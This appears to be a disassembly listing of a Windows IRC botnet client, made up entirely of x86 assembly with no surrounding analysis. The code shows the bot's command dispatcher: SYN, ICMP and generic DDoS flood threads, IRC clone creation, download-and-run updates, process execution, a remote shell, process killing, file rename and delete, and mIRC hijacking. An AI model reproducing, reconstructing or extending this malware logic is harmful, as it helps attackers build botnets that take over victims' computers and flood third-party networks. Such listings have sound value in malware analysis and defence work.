push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_574]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40C6E9
loc_40C6D7: ; CODE XREF: sub_409557+3190j
cmp [ebp+var_568], ebx
jnz short loc_40C704
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40C6D7
; ---------------------------------------------------------------------------
loc_40C6E9: ; CODE XREF: sub_409557+317Ej
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset aSynFailedToSta ; "[SYN]: Failed to start flood thread, er"...
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40C704: ; CODE XREF: sub_409557+3186j
cmp [ebp+var_8], ebx
jnz loc_40B858
push ebx
push esi
jmp loc_40B840
; ---------------------------------------------------------------------------
loc_40C714: ; CODE XREF: sub_409557+1E8Cj
; sub_409557+1EA3j ...
push 7Fh
lea eax, [ebp+var_7F0]
pop esi
push esi ; Count
push edi ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_770]
push [ebp+Str1] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_6F0]
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
push esi ; Count
lea eax, [ebp+var_670]
push [ebp+var_8C] ; Source
push eax ; Dest
call _strncpy
push 20h ; Count
lea eax, [ebp+var_5F0]
push [ebp+Dest] ; Source
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
push [ebp+Src]
mov esi, [ebp+arg_4]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
push [ebp+Str1]
mov [ebp+var_56C], eax
lea eax, [ebp+Dst]
push edi
push offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for %s second"...
push eax ; Dest
mov [ebp+var_7F8], esi
call _sprintf
add esp, 50h
lea eax, [ebp+Dst]
push ebx ; int
push 0Ah ; int
push eax ; Source
call sub_411C3A
add esp, 0Ch
mov [ebp+var_7F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F8]
push ebx
push eax
push offset sub_4030D9
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_7F4]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40C7FC
loc_40C7E6: ; CODE XREF: sub_409557+32A3j
cmp [ebp+var_568], ebx
jnz loc_40BC76
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40C7E6
; ---------------------------------------------------------------------------
loc_40C7FC: ; CODE XREF: sub_409557+328Dj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aDdosFailedToSt ; "[DDoS]: Failed to start flood thread, e"...
loc_40C808: ; CODE XREF: sub_409557+2701j
; sub_409557+284Cj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
jmp loc_40BC73
; ---------------------------------------------------------------------------
loc_40C819: ; CODE XREF: sub_409557+1E5Ej
; sub_409557+1E75j
push 7Fh ; Count
lea eax, [ebp+var_444]
push edi ; Source
push eax ; Dest
call _strncpy
push [ebp+Str1] ; Str
call _atoi
push 3Fh ; Count
mov [ebp+var_2F4], eax
push [ebp+Src] ; Source
lea eax, [ebp+var_3C4]
push eax ; Dest
call _strncpy
mov esi, [ebp+esi+Str]
add esp, 1Ch
cmp esi, ebx
jz short loc_40C867
push 3Fh ; Count
lea eax, [ebp+var_384]
push esi ; Source
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40C867: ; CODE XREF: sub_409557+32FCj
lea eax, [ebp+var_3C4]
mov [ebp+var_2F0], 1
push eax
lea eax, [ebp+var_444]
push [ebp+var_2F4]
push eax
lea eax, [ebp+Dst]
push offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 17h ; int
push eax ; Source
call sub_411C3A
add esp, 20h
mov [ebp+var_2EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_448]
push ebx
push eax
push offset sub_409277
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_2EC]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40C8F3
loc_40C8DD: ; CODE XREF: sub_409557+339Aj
cmp [ebp+var_2E8], ebx
jnz loc_40B799
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40C8DD
; ---------------------------------------------------------------------------
loc_40C8F3: ; CODE XREF: sub_409557+3384j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
jmp loc_40B78A
; ---------------------------------------------------------------------------
loc_40C904: ; CODE XREF: sub_409557+1E1Ej
; sub_409557+1E35j
push [ebp+Str1] ; Str
call _atoi
cmp eax, ebx
pop ecx
mov [ebp+var_578], eax
jle loc_40C9F5
mov esi, 80h
push edi ; Format
lea eax, [ebp+var_700]
push esi ; Count
push eax ; Dest
call __snprintf
xor eax, eax
cmp [ebp+var_9A2], bl
push [ebp+var_8C] ; Format
setnz al
mov [ebp+var_574], eax
mov eax, [ebp+arg_4]
mov [ebp+var_704], eax
lea eax, [ebp+var_600]
push esi ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_4]
push [ebp+Str1]
mov [ebp+var_570], eax
mov eax, [ebp+var_8]
mov [ebp+var_56C], eax
push edi
push offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s seconds."
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Dh ; int
push eax ; Source
call sub_411C3A
add esp, 38h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_704]
push ebx
push eax
push offset sub_40588C
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40C9E4
loc_40C9CE: ; CODE XREF: sub_409557+348Bj
cmp [ebp+var_568], ebx
jnz loc_40B837
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40C9CE
; ---------------------------------------------------------------------------
loc_40C9E4: ; CODE XREF: sub_409557+3475j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood thread, e"...
jmp loc_40B828
; ---------------------------------------------------------------------------
loc_40C9F5: ; CODE XREF: sub_409557+33BEj
push offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood time must be grea"...
jmp loc_40DFA0
; ---------------------------------------------------------------------------
loc_40C9FF: ; CODE XREF: sub_409557+1DF0j
; sub_409557+1E07j
push [ebp+Str1]
push edi
call ds:dword_41B128 ; MoveFileA
test eax, eax
jz short loc_40CA2C
push [ebp+Str1]
lea eax, [ebp+Dst]
push edi
push offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 14h
jmp short loc_40CA4B
; ---------------------------------------------------------------------------
loc_40CA2C: ; CODE XREF: sub_409557+34B4j
push offset aFile ; "[FILE]:"
call sub_40703D
push eax ; Format
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_40CA4B: ; CODE XREF: sub_409557+1822j
; sub_409557+1848j ...
cmp [ebp+var_8], ebx
jnz short loc_40CA6C
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
loc_40CA6C: ; CODE XREF: sub_409557+1050j
; sub_409557+34F7j ...
push 1
pop esi
loc_40CA6F: ; CODE XREF: sub_409557+3772j
; sub_409557+3ED6j ...
lea eax, [ebp+Dst]
push eax
call sub_402D63
pop ecx
mov eax, esi
jmp loc_4099D5
; ---------------------------------------------------------------------------
loc_40CA83: ; CODE XREF: sub_409557+1DC2j
; sub_409557+1DD9j
push 44h
lea eax, [ebp+var_48C]
pop esi
push esi ; Size
push ebx ; Val
push eax ; Dst
call _memset
push 1
mov [ebp+var_48C], esi
pop esi
mov word ptr [ebp+var_45C], bx
push edi ; Str
mov [ebp+var_460], esi
call _atoi
add esp, 10h
cmp eax, esi
jnz short loc_40CAC0
mov word ptr [ebp+var_45C], 5
loc_40CAC0: ; CODE XREF: sub_409557+355Ej
cmp [ebp+var_C], ebx
jz loc_40B799
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_40B799
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_48C]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call ds:dword_41B094 ; CreateProcessA
test eax, eax
jnz short loc_40CB0B
push offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
jmp loc_40D4DD
; ---------------------------------------------------------------------------
loc_40CB0B: ; CODE XREF: sub_409557+35A8j
push edi
push offset aExecCommandsS ; "[EXEC]: Commands: %s"
jmp loc_40B78A
; ---------------------------------------------------------------------------
loc_40CB16: ; CODE XREF: sub_409557+1D94j
; sub_409557+1DABj
push [ebp+Str1] ; Str2
push offset aFenr ; "FEnR"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40CC92
lea eax, [ebp+FullPath]
push eax
push 104h
call ds:dword_41B0F4 ; GetTempPathA
push 0FFh ; Count
lea eax, [ebp+var_788]
push edi ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_2E4]
push eax
call sub_40F72B
push eax
lea eax, [ebp+FullPath]
push eax
lea eax, [ebp+var_688]
push offset aSS_exe ; "%s%s.exe"
push eax ; Dest
call _sprintf
mov eax, [ebp+esi+var_88]
add esp, 20h
cmp eax, ebx
mov [ebp+var_584], 1
mov [ebp+var_580], ebx
jz short loc_40CBA8
push 10h ; Radix
push ebx ; EndPtr
push eax ; Str
call _strtoul
add esp, 0Ch
mov [ebp+var_578], eax
jmp short loc_40CBAE
; ---------------------------------------------------------------------------
loc_40CBA8: ; CODE XREF: sub_409557+363Bj
mov [ebp+var_578], ebx
loc_40CBAE: ; CODE XREF: sub_409557+364Fj
mov esi, [ebp+esi+Str]
cmp esi, ebx
jz short loc_40CBC8
push esi ; Str
call _atoi
pop ecx
mov [ebp+var_57C], eax
jmp short loc_40CBCE
; ---------------------------------------------------------------------------
loc_40CBC8: ; CODE XREF: sub_409557+3660j
mov [ebp+var_57C], ebx
loc_40CBCE: ; CODE XREF: sub_409557+366Fj
movzx eax, [ebp+var_9AF]
mov esi, [ebp+arg_4]
push 7Fh ; Count
push [ebp+var_8C] ; Source
mov [ebp+var_574], eax
lea eax, [ebp+var_808]
mov [ebp+var_80C], esi
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
push edi
mov [ebp+var_56C], eax
mov eax, [ebp+var_8]
mov [ebp+var_570], eax
lea eax, [ebp+Dst]
push offset aUpdateDownload ; "[UPDATE]: Downloading update from: %s."
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dst]
push 16h ; int
push eax ; Source
call sub_411C3A
add esp, 24h
mov [ebp+var_588], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_80C]
push ebx
push eax
push offset sub_403520
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_588]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40CC75
loc_40CC63: ; CODE XREF: sub_409557+371Cj
cmp [ebp+var_568], ebx
jnz short loc_40CCA5
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40CC63
; ---------------------------------------------------------------------------
loc_40CC75: ; CODE XREF: sub_409557+370Aj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...
loc_40CC81: ; CODE XREF: sub_409557+3DC5j
; sub_409557+3F1Aj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
loc_40CC8D: ; CODE XREF: sub_409557+49C8j
add esp, 0Ch
jmp short loc_40CCA5
; ---------------------------------------------------------------------------
loc_40CC92: ; CODE XREF: sub_409557+35D0j
push offset aUpdateBotIdMus ; "[UPDATE]: Bot ID must be different than"...
loc_40CC97: ; CODE XREF: sub_409557+18ABj
; sub_409557+192Fj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_40CCA5: ; CODE XREF: sub_409557+18B3j
; sub_409557+190Dj ...
cmp [ebp+var_8], ebx
jnz short loc_40CCC6
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
loc_40CCC6: ; CODE XREF: sub_409557+3751j
; sub_409557+3DBAj ...
mov esi, [ebp+File]
jmp loc_40CA6F
; ---------------------------------------------------------------------------
loc_40CCCE: ; CODE XREF: sub_409557+1D66j
; sub_409557+1D7Dj
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099D2
cmp [ebp+var_C], ebx
jz loc_4099D2
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
push eax
lea eax, [ebp+Dst]
push [ebp+var_8C]
push dword ptr [ebp+Args]
push [ebp+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push edi ; Str
call _atoi
add esp, 30h
test eax, eax
jle short loc_40CD55
push edi ; Str
call _atoi
imul eax, 3E8h
pop ecx
push eax
call ds:dword_41B048 ; Sleep
loc_40CD55: ; CODE XREF: sub_409557+37E8j
push offset aMainDelay_ ; "[MAIN]: Delay."
call sub_402D63
mov eax, [ebp+File]
pop ecx
inc eax
jmp loc_4099D5
; ---------------------------------------------------------------------------
loc_40CD69: ; CODE XREF: sub_409557+1D38j
; sub_409557+1D4Fj
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099D2
cmp [ebp+var_C], ebx
jz loc_40E7D9
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
mov eax, [ebp+Str1]
inc eax
push offset aRepeat ; "repeat"
push eax ; Str1
call _strcmp
add esp, 10h
test eax, eax
push esi
jz short loc_40CE25
push [ebp+var_8C]
lea eax, [ebp+Dst]
push dword ptr [ebp+Args]
push [ebp+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push esi
lea eax, [ebp+Dst]
push offset aMainRepeatS ; "[MAIN]: Repeat: %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_402D63
push edi ; Str
call _atoi
add esp, 38h
test eax, eax
jle loc_40E7D9
push edi ; Str
call _atoi
add eax, [ebp+File]
pop ecx
jmp loc_4099D5
; ---------------------------------------------------------------------------
loc_40CE25: ; CODE XREF: sub_409557+3857j
push offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in command l"...
jmp loc_40B78A
; ---------------------------------------------------------------------------
loc_40CE2F: ; CODE XREF: sub_409557+1D0Aj
; sub_409557+1D21j
push [ebp+Str1]
lea eax, [ebp+Dst]
push offset aPartS ; "PART %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 10h
loc_40CE4C: ; CODE XREF: sub_409557+395Fj
test eax, eax
jle loc_40E7D9
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_40E7D9
loc_40CE66: ; CODE XREF: sub_409557+4043j
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_0 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43054C[eax] ; int
call sub_405E1E
loc_40CE8A: ; CODE XREF: sub_409557+5003j
add esp, 0Ch
jmp loc_40E7D9
; ---------------------------------------------------------------------------
loc_40CE92: ; CODE XREF: sub_409557+1CDCj
; sub_409557+1CF3j
push [ebp+esi+var_88]
lea eax, [ebp+Dst]
push [ebp+Str1]
push offset aJoinSS_0 ; "JOIN %s %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 14h
jmp short loc_40CE4C
; ---------------------------------------------------------------------------
loc_40CEB8: ; CODE XREF: sub_409557+1CAEj
; sub_409557+1CC5j
push [ebp+Str1]
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
push edi ; Str
call _atoi
add esp, 10h
test eax, eax
jle loc_40E7D9
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_40E7D9
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_0 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43054C[eax] ; int
call sub_405E1E
push [ebp+Str1]
push edi ; Args
push offset aCloneNickSS ; "[CLONE]: Nick (%s): %s"
loc_40CF1C: ; CODE XREF: sub_409557+3A4Fj
; sub_409557+3ABAj ...
call sub_402DD7
loc_40CF21: ; CODE XREF: sub_409557+4CD0j
add esp, 18h
jmp loc_40E7D9
; ---------------------------------------------------------------------------
loc_40CF29: ; CODE XREF: sub_409557+1C80j
; sub_409557+1C97j
cmp [ebp+var_C], ebx
jz loc_40E7D9
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40CF5A
push esi
lea eax, [ebp+Dst]
push offset aModeS ; "MODE %s"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40CF5A: ; CODE XREF: sub_409557+39ECj
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_40E7D9
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_40E7D9
lea eax, [ebp+Dst]
push eax ; Args
push offset aS_0 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43054C[eax] ; int
call sub_405E1E
push esi
push edi
push offset aCloneModeSS ; "[CLONE]: Mode (%s): %s"
jmp loc_40CF1C
; ---------------------------------------------------------------------------
loc_40CFAB: ; CODE XREF: sub_409557+1C52j
; sub_409557+1C69j
cmp [ebp+var_C], ebx
jz loc_40E7D9
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40E7D9
push edi ; Str
call _atoi
test eax, eax
pop ecx
jle loc_40E7D9
push edi ; Str
call _atoi
cmp eax, 1F4h
pop ecx
jge loc_40E7D9
push esi ; Args
push offset aS_0 ; "%s\r\n"
push edi ; Str
call _atoi
imul eax, 234h
pop ecx
push dword_43054C[eax] ; int
call sub_405E1E
push esi
push edi
push offset aCloneRawSS ; "[CLONE]: Raw (%s): %s"
jmp loc_40CF1C
; ---------------------------------------------------------------------------
loc_40D016: ; CODE XREF: sub_409557+1C24j
; sub_409557+1C3Bj
cmp [ebp+var_C], ebx
jz loc_40E7D9
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40E7D9
push esi ; Args
push offset aModeS_0 ; "MODE %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push esi ; Args
push offset aMainModeChange ; "[MAIN]: Mode change: %s"
loc_40D048: ; CODE XREF: sub_409557+41E6j
; sub_409557+41FFj ...
call sub_402DD7
loc_40D04D: ; CODE XREF: sub_409557+3B5Fj
add esp, 14h
jmp loc_40E7D9
; ---------------------------------------------------------------------------
loc_40D055: ; CODE XREF: sub_409557+1BF6j
; sub_409557+1C0Dj
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099D2
push [ebp+Str1] ; Args
push offset aPartS_0 ; "PART %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push edi ; Str
call _atoi
imul eax, 3E8h
add esp, 10h
push eax
call ds:dword_41B048 ; Sleep
push [ebp+esi+var_88]
push [ebp+Str1] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push offset aMainCycle_ ; "[MAIN]: Cycle."
call sub_402D63
jmp short loc_40D04D
; ---------------------------------------------------------------------------
loc_40D0B8: ; CODE XREF: sub_409557+1BC8j
; sub_409557+1BDFj
cmp [ebp+var_C], ebx
jz loc_40E7D9
push edi ; Str
call _strlen
push [ebp+Dest] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Str1] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40E7D9
push esi
lea eax, [ebp+Dst]
push offset dword_42653C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push ebx ; int
push eax ; int
push edi ; Str
push [ebp+arg_4] ; int
call sub_405E64
push esi
push edi ; Args
push offset aMainActionSS_ ; "[MAIN]: Action: %s: %s."
call sub_402DD7
add esp, 2Ch
jmp loc_40E7D9
; ---------------------------------------------------------------------------
loc_40D126: ; CODE XREF: sub_409557+1B9Aj
; sub_409557+1BB1j
cmp [ebp+var_C], ebx
jz loc_40E7D9
push edi ; Str
call _strlen
push [ebp+Dest] ; Str
mov esi, eax
call _strlen
add eax, [ebp+var_C]
push [ebp+Str1] ; SubStr
lea eax, [eax+esi+2]
push eax ; Str
call _strstr
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40E7D9
push ebx ; int
push ebx ; int
push esi ; int
push edi ; Str
push [ebp+arg_4] ; int
call sub_405E64
push esi
push edi ; Args
push offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
call sub_402DD7
jmp loc_40BDF3
; ---------------------------------------------------------------------------
loc_40D179: ; CODE XREF: sub_409557+1B6Cj
; sub_409557+1B83j
cmp [ebp+var_C], ebx
jz loc_4099D2
push [ebp+Str1] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_4099D2
push eax ; int
push edi ; Str2
call sub_402C6B
push edi
lea eax, [ebp+Dst]
push offset aMainAliasAdded ; "[MAIN]: Alias added: %s."
push eax ; Dest
call _sprintf
add esp, 14h
jmp loc_40B837
; ---------------------------------------------------------------------------
loc_40D1B8: ; CODE XREF: sub_409557+1B2Cj
; sub_409557+1B43j
push edi ; SubStr
push [ebp+arg_1C] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz loc_40E7D9
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40D255
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40D23D
push esi
lea eax, [ebp+Dst]
push [ebp+var_8C]
push dword ptr [ebp+Args]
push [ebp+Str2]
push offset aSSSS ; "%s %s %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push 1FFh ; Count
push eax ; Source
push [ebp+Src] ; Dest
call _strncpy
push esi
push edi
lea eax, [ebp+Dst]
push offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command: %s"
push eax ; Dest
call _sprintf
add esp, 34h
inc [ebp+File]
jmp loc_40E43D
; ---------------------------------------------------------------------------
loc_40D23D: ; CODE XREF: sub_409557+3C8Ej
lea eax, [ebp+Dst]
push offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp loc_40E43D
; ---------------------------------------------------------------------------
loc_40D255: ; CODE XREF: sub_409557+3C7Dj
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_411139
add esp, 0Ch
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
push edi
push offset aMainGethostS_ ; "[MAIN]: Gethost: %s."
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 24h
jmp loc_40E43D
; ---------------------------------------------------------------------------
loc_40D29C: ; CODE XREF: sub_409557+1781j
; sub_409557+1798j
push offset aR ; "r"
push edi ; Filename
call _fopen
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_40D316
mov ebx, 200h
push esi ; File
lea eax, [ebp+Dst]
push ebx ; MaxCount
push eax ; Buf
call _fgets
add esp, 0Ch
loc_40D2C5: ; CODE XREF: sub_409557+3D9Dj
test eax, eax
jz short loc_40D2F6
push 1 ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
push esi ; File
lea eax, [ebp+Dst]
push ebx ; MaxCount
push eax ; Buf
call _fgets
add esp, 20h
jmp short loc_40D2C5
; ---------------------------------------------------------------------------
loc_40D2F6: ; CODE XREF: sub_409557+3D70j
push esi ; File
call _fclose
push edi
lea eax, [ebp+Dst]
push offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
push eax ; Dest
call _sprintf
add esp, 10h
jmp loc_40CCC6
; ---------------------------------------------------------------------------
loc_40D316: ; CODE XREF: sub_409557+3D56j
push edi
push offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"
jmp loc_40CC81
; ---------------------------------------------------------------------------
loc_40D321: ; CODE XREF: sub_409557+1753j
; sub_409557+176Aj
cmp [ebp+var_C], ebx
jz loc_40E7D9
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40E7D9
push offset asc_42002C ; "\n"
push esi ; Dest
call _strcat
push esi ; Str
call sub_40EDEE
add esp, 0Ch
test eax, eax
jnz short loc_40D361
push offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
jmp loc_40D4DD
; ---------------------------------------------------------------------------
loc_40D361: ; CODE XREF: sub_409557+3DFEj
push esi
push offset aCmdCommandsS ; "[CMD]: Commands: %s"
jmp loc_40E42E
; ---------------------------------------------------------------------------
loc_40D36C: ; CODE XREF: sub_409557+1725j
; sub_409557+173Cj
cmp [ebp+var_C], ebx
jz loc_40E7D9
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_40E7D9
push eax ; Format
call sub_407102
test eax, eax
pop ecx
jnz short loc_40D39D
push offset aMircClientNotO ; "[mIRC]: Client not open."
jmp loc_40D4DD
; ---------------------------------------------------------------------------
loc_40D39D: ; CODE XREF: sub_409557+3E3Aj
push offset aMircCommandSen ; "[mIRC]: Command sent."
jmp loc_40D4DD
; ---------------------------------------------------------------------------
loc_40D3A7: ; CODE XREF: sub_409557+16F7j
; sub_409557+170Ej
push ebx ; Source
push [ebp+var_8C] ; int
push [ebp+arg_4] ; int
push edi ; Str
call sub_404FFE
push edi
push offset aFileListS ; "[FILE]: List: %s"
jmp loc_40CF1C
; ---------------------------------------------------------------------------
loc_40D3C2: ; CODE XREF: sub_409557+16C9j
; sub_409557+16E0j
push edi
call ds:dword_41B110 ; DeleteFileA
test eax, eax
jz short loc_40D3D5
push edi
push offset aFileDeletedS_ ; "[FILE]: Deleted '%s'."
jmp short loc_40D3E0
; ---------------------------------------------------------------------------
loc_40D3D5: ; CODE XREF: sub_409557+3E74j
push offset aFile ; "[FILE]:"
call sub_40703D
push eax ; Format
loc_40D3E0: ; CODE XREF: sub_409557+3E7Cj
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
jmp loc_40CCA5
; ---------------------------------------------------------------------------
loc_40D3F9: ; CODE XREF: sub_409557+169Bj
; sub_409557+16B2j
push edi ; Str
call _atoi
push eax
call sub_408BC1
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_40D416
push offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
jmp short loc_40D41B
; ---------------------------------------------------------------------------
loc_40D416: ; CODE XREF: sub_409557+3EB6j
push offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...
loc_40D41B: ; CODE XREF: sub_409557+3EBDj
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_40CA6F
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
jmp loc_40CA6F
; ---------------------------------------------------------------------------
loc_40D454: ; CODE XREF: sub_409557+166Dj
; sub_409557+1684j
push ebx ; int
push ebx ; int
push edi ; Str2
push [ebp+var_4] ; int
push ebx ; Str
push [ebp+arg_4] ; int
call sub_4088B4
add esp, 18h
cmp eax, 1
push edi
jnz short loc_40D476
push offset aProcProcessK_0 ; "[PROC]: Process killed: %s"
jmp loc_40CC81
; ---------------------------------------------------------------------------
loc_40D476: ; CODE XREF: sub_409557+3F13j
push offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
jmp loc_40CC81
; ---------------------------------------------------------------------------
loc_40D480: ; CODE XREF: sub_409557+163Fj
; sub_409557+1656j
push edi
call dword_42EBF0 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+Src], eax
jz short loc_40D4BD
push 2
lea eax, [ebp+Src]
push 4
push eax
call dword_42EB70 ; gethostbyaddr
cmp eax, ebx
